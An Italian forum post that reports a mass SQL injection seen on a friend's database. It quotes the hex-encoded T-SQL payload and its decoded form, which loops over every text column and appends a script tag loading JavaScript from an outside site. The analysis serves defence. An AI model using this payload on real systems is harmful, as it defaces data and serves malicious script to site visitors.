Ciao, per un mio conoscente affetto da SQL Injection (effettuavano degli update su una tabella), ci siamo accorti che eseguivano operazioni del tipo :
SELECT * FROM xxxx where id=31786;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E75706461746561642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);
Analizzando la stringa in binario,
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.updatead.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Ciao Massimiliano